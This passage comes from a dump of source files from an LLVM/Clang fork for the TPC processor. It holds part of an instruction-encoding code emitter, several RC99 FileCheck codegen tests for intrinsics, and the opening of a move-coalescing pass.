MCInst& MI, SmallVectorImpl<MCFixup>& Fixups, const MCSubtargetInfo& STI) const {\n uint64_t inst = getBinaryCodeForInstr(MI, Fixups, STI);\n return inst;\n}\n\nvoid TPCMCCodeEmitter::fillInstrBits(const MCInst& MI,\n SmallVectorImpl<MCFixup>& Fixups,\n TPCInstrBits& Bits,\n const MCSubtargetInfo& STI,\n bool ignoreNops,\n bool isSingle,\n const Optional<uint64_t> &StoreSrcC) const\n{\n const unsigned opcode = MI.getOpcode();\n if (isSingle) {\n Bits.MI = &MI;\n }\n if (opcode == TPC::BUNDLE) {\n // Lookup instruction with SrcCIsStoreSrcC flag\n Optional<uint64_t> StoreSrcCLocal;\n for (auto &I : TPCMCInstrInfo::bundleInstructions(MI)) {\n MCInst &BundleMI = const_cast<MCInst &>(*I.getInst());\n if (TPCII::getSrcCIsStoreSrcC(MCII.get(BundleMI.getOpcode()))) {\n llvm_unreachable(\"Unhandled arch\");\n }\n }\n\n unsigned SlotCount = 0;\n for (auto &I : TPCMCInstrInfo::bundleInstructions(MI)) {\n MCInst &BundleMI = const_cast<MCInst &>(*I.getInst());\n if (BundleMI.getOpcode() == TPC::LOOPEND)\n continue;\n\n if(isStoreInst(BundleMI)) {\n fillInstrBits(BundleMI, Fixups, Bits, STI,\n ignoreNops, false, StoreSrcCLocal);\n } else {\n fillInstrBits(BundleMI, Fixups, Bits, STI,\n ignoreNops, false, StoreSrcCLocal);\n }\n SlotCount++;\n }\n\n if (!Bits.hasVPU && !Bits.hasSPU && !Bits.hasLD && !Bits.hasST && ignoreNops) {\n // Instruction is a full NOP - do not compress it\n if (TPCCompressNops) {\n Bits.compress = 1;\n }\n else {\n Bits.compress = 0;\n }\n }\n else if (Bits.StSrcExtra || Bits.LdSrcExtra) {\n Bits.compress = 0;\n }\n else if ((Bits.hasVPU || Bits.hasSPU) && (Bits.hasLD || Bits.hasST)) {\n // Cannot compress\n Bits.compress = 0;\n }\n else if (Bits.hasVPU || Bits.hasSPU) {\n Bits.compress = 1;\n }\n else {\n Bits.compress = 3;\n }\n assert ((Bits.compress != 0) || (SlotCount == 4));\n assert ((Bits.compress == 0) || (SlotCount == 2));\n }\n else {\n if (isSingle) {\n if (MI.getOpcode() == TPC::LOOPEND) return; // Don't encode pseudos\n Bits.VPUInst = TPCII::vpuNOP;\n Bits.SPUInst = TPCII::spuNOP;\n Bits.LDInst = TPCII::ldNOP << (LDInstrLayout.at(Fields::LOAD_OPCODE).startLLVM);\n Bits.STInst = TPCII::stNOP << (STInstrLayout.at(Fields::STORE_OPCODE).startLLVM);\n Bits.compress = 0;\n }\n\n uint64_t Inst = getInstrBits(MI, Fixups, STI);\n\n if (isSingle) {\n if (isVPUInst(MI) && MI.getOpcode() == TPC::HALTv) {\n Bits.SPUInst = TPCII::spuHALT;\n }\n if (isSPUInst(MI)) {\n if (MI.getOpcode() == TPC::HALTs) {\n Bits.VPUInst = TPCII::vpuHALT;\n }\n }\n }\n\n if (isVPUInst(MI)) {\n Bits.VPUInst = Inst;\n if (MI.getOpcode() != TPC::NOPv || !ignoreNops) {\n Bits.hasVPU = true;\n }\n }\n else if (isSPUInst(MI)) {\n Bits.SPUInst = Inst;\n if (MI.getOpcode() != TPC::NOPs || !ignoreNops) {\n Bits.hasSPU = true;\n }\n }\n else if (isLoadInst(MI)) {\n Bits.LDInst = Inst;\n if (MI.getOpcode() != TPC::NOPld || !ignoreNops) {\n Bits.hasLD = true;\n }\n }\n else if (isStoreInst(MI)) {\n if (StoreSrcC) {\n llvm_unreachable(\"Unhandled arch\");\n }\n\n Bits.STInst = Inst;\n if (MI.getOpcode() != TPC::NOPst || !ignoreNops) {\n Bits.hasST = true;\n }\n }\n else {\n llvm_unreachable(\"Unknown MCInst\");\n }\n }\n \n // Extract Imm field\n if (TPCMCInstrInfo::hasImm(MCII, MI)) {\n if (MI.getOperand(0).isExpr()) {\n Fixups.push_back(MCFixup::create(0, MI.getOperand(0).getExpr(), FK_PCRel_4));\n Bits.Imm = 0;\n Bits.immSlotBusy = true;\n }\n else {\n int64_t opImm = 0;\n const MCInstrDesc &Desc = MCII.get(MI.getOpcode());\n unsigned opNum = TPCMCInstrInfo::getImmFieldOpNum(MCII, MI);\n assert(MI.getOperand(opNum).isImm() || MI.getOperand(opNum).isFPImm());\n\n if (MI.getOperand(opNum).isImm()) {\n opImm = MI.getOperand(opNum).getImm();\n }\n else if (MI.getOperand(opNum).isFPImm()) {\n float fimm = MI.getOperand(opNum).getFPImm();\n void *Storage = static_cast<void *>(&fimm);\n opImm= *static_cast<uint64_t *>(Storage);\n }\n const MCOperandInfo &Info = Desc.OpInfo[opNum];\n // encode immediate in the IMM slot (otherwise, it is encoded in place of the operand)\n if (Bits.immSlotBusy) {\n if ((Bits.Imm != (uint64_t)opImm) && TPCAssertOnImmConflict) {\n dbgs() << \"Imm conflict: imm1(\" << Bits.Imm << \"), imm2(\" << (uint64_t)opImm << \")\\n\";\n assert (0 && \"Too many immediates in one bundle\");\n }\n }\n Bits.Imm = (uint64_t)opImm;\n Bits.immSlotBusy = true;\n }\n }\n Bits.inited = true;\n}\n\nvoid TPCMCCodeEmitter::emitBits(raw_ostream& OS, TPCInstrBits *Bits, const MCSubtargetInfo &STI) const {\n\n CompressionType CT = Bits->compress == 1 ? CompressionType::SPU_VPU : CompressionType::LD_ST;\n\n TPCInstrComposer composer(Bits->SPUInst, Bits->VPUInst, Bits->LDInst, Bits->STInst, Bits->Imm,\n STI.getFeatureBits(), (Bits->compress != 0), CT);\n\n APInt Instruction = composer.createBundle();\n\n LLVM_DEBUG( dumpTPCBundle(Instruction, STI.getFeatureBits()); );\n\n EmitInstruction(Instruction, (Bits->compress == 0) ? TPCII::InstructionSize : (TPCII::InstructionSize / 2), OS);\n}\n\nvoid TPCMCCodeEmitter::encodeInstruction(const MCInst& MI, raw_ostream& OS,\n SmallVectorImpl<MCFixup>& Fixups,\n const MCSubtargetInfo& STI) const\n{\n if (isLoopInst(MI)) {\n LLVM_DEBUG( fprintf(stderr, \"\\n\"); dumpInstrNames(MI, MCII); );\n encodeLoop(MI, OS, getInstrBits(MI, Fixups, STI), Fixups, STI);\n return;\n }\n\n LLVM_DEBUG( fprintf(stderr, \"\\n\"); dumpInstrNames(MI, MCII); );\n\n TPCInstrBits Bits;\n fillInstrBits(MI, Fixups, Bits, STI, false, true);\n emitBits(OS, &Bits, STI);\n}\n\nvoid TPCMCCodeEmitter::encodeLoop(const MCInst &Inst, raw_ostream& OS, uint64_t Bin, SmallVectorImpl<MCFixup> &Fixups, const MCSubtargetInfo& STI) const {\n unsigned loop_enc_start = TPCII::LOOPEncStart;\n unsigned loop_enc_size = TPCII::LoopEncSize;\n unsigned loop_cmp_start = TPCII::LoopCmpStart;\n unsigned loop_start_imm_start = TPCII::LoopStartImmStart;\n unsigned loop_bound_imm_start = TPCII::LoopBoundaryImmStart;\n unsigned loop_step_imm_start = TPCII::LoopStepImmStart;\n unsigned loop_offset_start = TPCII::LoopOffsetStart;\n\n APInt Instruction(TPCII::InstructionSize, 0);\n APInt RegPart(loop_enc_size, Bin);\n\n uint8_t CmpMode = Bin >> loop_enc_size;\n Instruction |= RegPart.zext(TPCII::InstructionSize).shl(loop_enc_start);\n APInt CmpEnc(3, CmpMode);\n Instruction |= CmpEnc.zext(TPCII::InstructionSize).shl(loop_cmp_start);\n\n // Start immediate\n if (Inst.getOperand(0).isImm()) {\n APInt ImmValue(TPCII::ImmSize, Inst.getOperand(0).getImm());\n Instruction |= ImmValue.zext(TPCII::InstructionSize).shl(loop_start_imm_start);\n }\n\n // Boundary immediate\n if (Inst.getOperand(1).isImm()) {\n APInt ImmValue(TPCII::ImmSize, Inst.getOperand(1).getImm());\n Instruction |= ImmValue.zext(TPCII::InstructionSize).shl(loop_bound_imm_start);\n }\n\n // Step immediate\n if (Inst.getOperand(2).isImm()) {\n APInt ImmValue(TPCII::ImmSize, Inst.getOperand(2).getImm());\n Instruction |= ImmValue.zext(TPCII::InstructionSize).shl(loop_step_imm_start);\n }\n\n // END_PC offset\n assert (Inst.getOperand(4).isExpr() && \"END_PC is not a BasicBlock\");\n TPC::Fixups FixupKind = TPC::Fixups::FK_LOOP;\n Fixups.push_back(MCFixup::create(0, Inst.getOperand(4).getExpr(),\n MCFixupKind(FixupKind), Inst.getLoc()));\n int32_t Imm = 0;\n APInt ImmValue(TPCII::ImmSize, Imm);\n Instruction |= ImmValue.zext(TPCII::InstructionSize).shl(loop_offset_start);\n\n EmitInstruction(Instruction, TPCII::InstructionSize, OS);\n#if defined(TPC_NOPS_AFTER_ALL) || defined(TPC_DISABLE_ALL_SCHED)\n insertNoops(1, this, OS);\n#endif\n}\n\nunsigned TPCMCCodeEmitter::getRrMemoryOpValue(\n const MCInst &Inst, unsigned OpNo, SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &SubtargetInfo) const {\n const MCRegisterInfo * TRI = Ctx.getRegisterInfo();\n unsigned Encoding;\n const MCOperand Op1 = Inst.getOperand(OpNo + 0);\n const MCOperand Op2 = Inst.getOperand(OpNo + 1);\n\n assert(Op1.isReg() && \"First operand is not register.\");\n assert(TRI->getRegClass(TPC::SRFRegClassID).contains(Op1.getReg()) && \"Register for Base must be SRF\");\n Encoding = (TRI->getEncodingValue(Op1.getReg()) + 64);\n assert(Op2.isReg() && \"Second operand is not register.\");\n assert(TRI->getRegClass(TPC::SRFRegClassID).contains(Op2.getReg()) && \"Register for Offset must be SRF\");\n Encoding |= (TRI->getEncodingValue(Op2.getReg()) + 64) << 8;\n\n return Encoding;\n}\n\nunsigned TPCMCCodeEmitter::encodePredicate(\n const MCInst &Inst, unsigned OpNo,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &SubtargetInfo) const {\n const MCRegisterInfo *TRI = Ctx.getRegisterInfo();\n const MCOperand PredReg = Inst.getOperand(OpNo + 0);\n const MCOperand Polarity = Inst.getOperand(OpNo + 1);\n\n assert(PredReg.isReg() && \"The first operand must be a register\");\n assert(Polarity.isImm() && \"The second operand is not a register\");\n assert((Polarity.getImm() <= 1) && \"Polarity value is invalid\");\n\n bool IsVector = TRI->getRegClass(TPC::VPRFRegClassID).contains(PredReg.getReg());\n bool IsScalar = TRI->getRegClass(TPC::SPRFRegClassID).contains(PredReg.getReg());\n (void)IsScalar;\n assert((IsVector || IsScalar) && \"Predicate register must be of SPRF or VPRF class\");\n\n unsigned Encoding = TRI->getEncodingValue(PredReg.getReg());\n if (IsVector)\n Encoding += 16;\n Encoding |= (Polarity.getImm() << 5);\n\n return Encoding;\n}\n\nunsigned TPCMCCodeEmitter::encodeTPCImm(\n const MCInst &Inst, unsigned OpNo,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &STI) const {\n\n const MCOperand ImmOp = Inst.getOperand(OpNo);\n assert(ImmOp.isImm() && \"The operand must be an immediate\");\n int64_t Imm = ImmOp.getImm();\n\n const MCInstrDesc &Desc = MCII.get(Inst.getOpcode());\n const MCOperandInfo &Info = Desc.OpInfo[OpNo];\n return 0x7f;\n}\n\nunsigned TPCMCCodeEmitter::\ngetMachineOpValue(const MCInst &MI, const MCOperand &MO,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &STI) const {\n if (MO.isReg()) {\n unsigned Reg = MO.getReg();\n const MCRegisterInfo * TRI = Ctx.getRegisterInfo();\n unsigned RegNo = TRI->getEncodingValue(Reg);\n if (isVPUInst(MI)) {\n if (TRI->getRegClass(TPC::SRFRegClassID).contains(Reg)) {\n return RegNo + 64;\n }\n else if (TRI->getRegClass(TPC::ZRFRegClassID).contains(Reg)) {\n return RegNo + 64;\n }\n else if (TRI->getRegClass(TPC::VRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::DRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::VPRFRegClassID).contains(Reg)) {\n return RegNo + 240;\n }\n else if (TRI->getRegClass(TPC::SPRFRegClassID).contains(Reg)) {\n return RegNo + 224;\n }\n else if (TRI->getRegClass(TPC::ARFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::IRFRegClassID).contains(Reg)) {\n return RegNo + 128;\n }\n else if (TRI->getRegClass(TPC::ADRFRegClassID).contains(Reg)) {\n return RegNo + 160;\n } else if (TRI->getRegClass(TPC::HSRFRegClassID).contains(Reg) ||\n TRI->getRegClass(TPC::HSPRFRegClassID).contains(Reg)) {\n return RegNo;\n } else {\n llvm_unreachable(\"Wrong register class for a vpu instruction\");\n }\n }\n else if (isSPUInst(MI)) {\n if (TRI->getRegClass(TPC::SPRFRegClassID).contains(Reg)) {\n return RegNo + 48;\n }\n else if (TRI->getRegClass(TPC::SRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::ZRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::IRFRegClassID).contains(Reg)) {\n return RegNo + 64;\n }\n else if (TRI->getRegClass(TPC::ADRFRegClassID).contains(Reg)) {\n return RegNo+96;\n }\n else if (TRI->getRegClass(TPC::HSRFRegClassID).contains(Reg) ||\n TRI->getRegClass(TPC::HSPRFRegClassID).contains(Reg)) {\n return RegNo;\n } else {\n llvm_unreachable(\"Wrong register class for a spu instruction\");\n }\n }\n else if (isStoreInst(MI)) {\n if (TRI->getRegClass(TPC::SRFRegClassID).contains(Reg)) {\n return RegNo + 64;\n }\n else if (TRI->getRegClass(TPC::ZRFRegClassID).contains(Reg)) {\n return RegNo + 64;\n }\n else if (TRI->getRegClass(TPC::VRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::DRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::VPRFRegClassID).contains(Reg)) {\n return RegNo + 240;\n }\n else if (TRI->getRegClass(TPC::SPRFRegClassID).contains(Reg)) {\n return RegNo + 224;\n }\n else if (TRI->getRegClass(TPC::IRFRegClassID).contains(Reg)) {\n return RegNo + 128;\n }\n else if (TRI->getRegClass(TPC::ADRFRegClassID).contains(Reg)) {\n return RegNo + 160;\n }\n else if (TRI->getRegClass(TPC::HSRFRegClassID).contains(Reg) ||\n TRI->getRegClass(TPC::HSPRFRegClassID).contains(Reg)) {\n return RegNo;\n } else {\n llvm_unreachable(\"Wrong register class for a store instruction\");\n }\n }\n else if (isLoadInst(MI)) {\n if (TRI->getRegClass(TPC::SRFRegClassID).contains(Reg)) {\n return RegNo + 64;\n }\n else if (TRI->getRegClass(TPC::ZRFRegClassID).contains(Reg)) {\n return RegNo + 64;\n }\n else if (TRI->getRegClass(TPC::VRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::DRFRegClassID).contains(Reg)) {\n return RegNo;\n }\n else if (TRI->getRegClass(TPC::VPRFRegClassID).contains(Reg)) {\n return RegNo + 240;\n }\n else if (TRI->getRegClass(TPC::SPRFRegClassID).contains(Reg)) {\n return RegNo + 224;\n }\n else if (TRI->getRegClass(TPC::IRFRegClassID).contains(Reg)) {\n return RegNo + 128;\n }\n else if (TRI->getRegClass(TPC::ADRFRegClassID).contains(Reg)) {\n return RegNo + 160;\n }\n else if (TRI->getRegClass(TPC::HSRFRegClassID).contains(Reg) ||\n TRI->getRegClass(TPC::HSPRFRegClassID).contains(Reg)) {\n return RegNo;\n } else {\n llvm_unreachable(\"Wrong register class for a load instruction\");\n }\n }\n return RegNo;\n }\n\n if (MO.isImm())\n return MO.getImm();\n\n if (MO.isFPImm()) {\n float fimm = MO.getFPImm();\n // Using this two-step static_cast via void * instead of cast\n // silences a -Wstrict-aliasing false positive from GCC6 and earlier.\n // return *((unsigned*)&fimm);\n void *Storage = static_cast<void *>(&fimm);\n return *static_cast<unsigned *>(Storage);\n }\n\n if (MO.isExpr()) {\n Fixups.push_back(MCFixup::create(0, MO.getExpr(), FK_PCRel_4));\n return 0;\n }\n\n llvm_unreachable(\"Unable to encode MCOperand!\");\n}\n\nint TPCMCCodeEmitter:: isVPUInst(const MCInst &MI) const {\n unsigned ikind = TPCMCInstrInfo::getType(MCII, MI);\n return (ikind == TPCII::TypeVPU);\n}\n\nint TPCMCCodeEmitter:: isSPUInst(const MCInst &MI) const {\n unsigned ikind = TPCMCInstrInfo::getType(MCII, MI);\n return (ikind == TPCII::TypeSPU);\n}\n\nint TPCMCCodeEmitter:: isLoadInst(const MCInst &MI) const {\n unsigned ikind = TPCMCInstrInfo::getType(MCII, MI);\n return (ikind == TPCII::TypeLOAD);\n}\n\nint TPCMCCodeEmitter:: isStoreInst(const MCInst &MI) const {\n unsigned ikind = TPCMCInstrInfo::getType(MCII, MI);\n return (ikind == TPCII::TypeSTORE);\n}\n\nint TPCMCCodeEmitter:: isLoopInst(const MCInst &MI) const {\n unsigned ikind = TPCMCInstrInfo::getType(MCII, MI);\n return (ikind == TPCII::TypeLOOP);\n}\n\n} // End of namespace llvm.\n\n#include \"TPCGenMCCodeEmitter.inc\"\n" }, { "alpha_fraction": 0.4482758641242981, "alphanum_fraction": 0.5068965554237366, "avg_line_length": 21.30769157409668, "blob_id": "acc6421b29f14583b8c0afc0b8b8239f007ea194", "content_id": "b793fd6eef8ec36f6640e088ee2dbe3ff611a623", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 290, "license_type": "permissive", "max_line_length": 78, "num_lines": 13, "path": "/clang/test/RC99/Intrinsics/aso-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(_Bool x) {\n aso(0, x, 0);\n aso(SW_VPU, x, 0);\n aso(0, 1, 0);\n aso(SW_VPU, x, 1);\n}\n\n// CHECK: aso %SP{{[0-9]+}}\n// CHECK: aso vpu %SP{{[0-9]+}}\n// CHECK: aso %SP0\n// CHECK: aso vpu !%SP{{[0-9]+}}\n" }, { "alpha_fraction": 0.4528301954269409, "alphanum_fraction": 0.5471698045730591, "avg_line_length": 25.5, "blob_id": "e24c600cdc542a87fe8e5ab71f71a8cc5f312fc2", "content_id": "680a471595807e55cde205dcab675fc218e09bab", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 265, "license_type": "permissive", "max_line_length": 78, "num_lines": 10, "path": "/clang/test/RC99/CodeGen/pred-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck %s\n\nvoid main(int src) {\n int5 ndx = { 0, 0, 0, 0, 0 };\n int64 val = src;\n val = v_i32_add_v_s_b(val, 22, val, 0, 0, 0);\n i32_st_tnsr_i_v_b(ndx, 0, val, 1, 0);\n}\n\n// CHECK-NOT: add.i32\n" }, { "alpha_fraction": 0.5078180432319641, "alphanum_fraction": 0.5735607743263245, "avg_line_length": 34.59493637084961, "blob_id": "e2d4278995b6025ba3e9bcb9bd8fbf2d593d5cae", "content_id": "6772a231b1d9d50ab835101e6e76e53b203347fd", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2814, "license_type": "permissive", "max_line_length": 140, "num_lines": 79, "path": "/clang/test/RC99/Intrinsics/v_convert_f32_to_i32.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefixes=CHECK,CHECK-BF16 %s\n\n\nvoid main(int dest, int src1, int vpredp, _Bool pred) {\n volatile int64 __local *dest_ptr = (int64 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src1;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n int64 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // v_convert_f32_to_i32_b\n {\n int64 res = income;\n\n res = v_convert_f32_to_i32_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_i32_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], [[PRED]]\n res = v_convert_f32_to_i32_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_i32_b(x, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], %SP1\n\n#if defined(__gaudi__)\n res = v_convert_f32_to_i32_b(x, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK-BF16: convert.f32 target_type=int32 rz [[DEST]], [[SRC]], [[PRED]]\n res = v_convert_f32_to_i32_b(x, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK-BF16: convert.f32 target_type=int32 sr [[DEST]], [[SRC]], [[PRED]]\n#endif\n\n res = v_convert_f32_to_i32_b(x, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rd [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_i32_b(x, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 ru [[DEST]], [[SRC]], [[PRED]]\n\n income = res;\n }\n\n // v_convert_f32_to_i32_vb\n {\n int64 res = income;\n\n res = v_convert_f32_to_i32_vb(x, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i32_vb(x, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], [[VPRED]]\n res = v_convert_f32_to_i32_vb(x, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i32_vb(x, 0, res, to_bool64(vpred), 1);\n *dest_ptr++ = res;\n// CHECK: convert.f32 target_type=int32 rhne [[DEST]], [[SRC]], ![[VPRED]]\n\n income = res;\n }\n}\n\n\n" }, { "alpha_fraction": 0.5563380122184753, "alphanum_fraction": 0.6049935817718506, "avg_line_length": 31.52083396911621, "blob_id": "cdb895b9fa78e09a3502f7796a2d56e21cf2576a", "content_id": "6a21435b19405741b1bdb0ee6f4db470aabac3bf", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1562, "license_type": "permissive", "max_line_length": 115, "num_lines": 48, "path": "/clang/test/RC99/acceptance/addtensors.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O2 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck --check-prefix=CHECK-O1 %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\nvoid main(tensor in0, tensor in1, tensor out)\n{\n\t// C W H B NA\n\t// [dim0,dim1,dim2,dim3,dim4];\n\tint5 curInputOutputIndex;\n\t// C iterator - in slices of 64\n int C_end = 64;\n int W_end = 3;\n int H_end = 3;\n int B_end = 1;\n\n\tfor (int C_itr = 0; C_itr < C_end; C_itr+=64)\n\t{\n\t\tcurInputOutputIndex[0] = C_itr;\n\n\t\tfor(int B_itr = 0; B_itr < B_end; B_itr++)\n\t\t{\t\t\t\t\n\t\t\tcurInputOutputIndex[3] = B_itr;\n\n\t\t\tfor (int H_itr = 0; H_itr < H_end; H_itr++)\n\t\t\t{\n\t\t\t\tcurInputOutputIndex[2] = H_itr;\n\t\t\t\t\t\n\t\t\t\tfor (int W_itr = 0; W_itr < W_end; W_itr++)\n\t\t\t\t{\n\t\t\t\t\tcurInputOutputIndex[1] = W_itr;\n\t\t\t\t\tfloat64 input0ValVec = 0;\n\t\t\t\t\tinput0ValVec = v_f32_ld_tnsr_i_b(curInputOutputIndex, in0, input0ValVec, 1, 0);\n\t\t\t\t\tfloat64 input1ValVec = 0;\n\t\t\t\t\tinput0ValVec = v_f32_ld_tnsr_i_b(curInputOutputIndex, in1, input0ValVec, 1, 0);\n\t\t\t\t\tfloat64 resultValVec = input0ValVec + input1ValVec;\n\t\t\t\t\tf32_st_tnsr_i_v_b(curInputOutputIndex, out, resultValVec, 1, 0);\n\t\t\t\t} // W loop\n\t\t\t} // H loop\n\t\t} // B loop\n\t} // C loop\n}\n\n// CHECK:main\n// CHECK-ASM: main\n// CHECK-ASM: halt\n// CHECK-O1:main\n// CHECK-ASM-O1: main\n// CHECK-ASM-O1: halt\n\n" }, { "alpha_fraction": 0.4282352924346924, "alphanum_fraction": 0.5129411816596985, "avg_line_length": 25.5625, "blob_id": "edc11d894472ca9af66027bda736d7f79825bf99", "content_id": "fed0b6455a906bbe3415b27cf2ccbc19d010fff7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 425, "license_type": "permissive", "max_line_length": 78, "num_lines": 16, "path": "/clang/test/RC99/CodeGen/irf-and-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int src, int src1, int src2) {\n int64 val = src;\n int cnt = 0;\n int5 ndx1 = { src, src, src, src, src };\n\n while (cnt < src2) {\n i32_st_tnsr_i_v_b(ndx1, 1, val, 1, 0);\n ndx1[0] &= src;\n cnt++;\n }\n}\n\n// CHECK: st_tnsr 0x1, [[NDX:%I[0-9]+]], %V{{[0-9]+}}, %SP{{[0-9]+}}\n// CHECK: and.i32 b00001 [[NDX]], %S0, [[NDX]], %SP0\n" }, { "alpha_fraction": 0.6613703966140747, "alphanum_fraction": 0.6655412316322327, "avg_line_length": 29.33132553100586, "blob_id": "4f79691322e2d57bb10e8d2652857fbbb73d65bf", "content_id": "56b64c937454fac664d2298cf2282033cdd48675", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5035, "license_type": "permissive", "max_line_length": 86, "num_lines": 166, "path": "/llvm/lib/Target/TPC/TPCMovCoalescer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCMovCoalescer.cpp - Coalesce constant movs -----===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass removes duplicate constant moves inside a basic block\n//\n//===----------------------------------------------------------------------===//\n\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/CodeGen/MachineBasicBlock.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineOperand.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/IR/Constants.h\"\n#include \"llvm/IR/DebugLoc.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/MathExtras.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include \"llvm/Transforms/Utils/LoopSimplify.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include <cassert>\n#include <cstdint>\n#include <cstdlib>\n#include <iterator>\n#include <map>\n#include <set>\n#include <utility>\n#include <vector>\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-mc\"\n\nstatic cl::opt<bool>\n EnableCoalescer(\"enable-mov-coalescer\", cl::Hidden,\n cl::desc(\"Enable move coalescer\"), cl::init(true));\n\nnamespace llvm 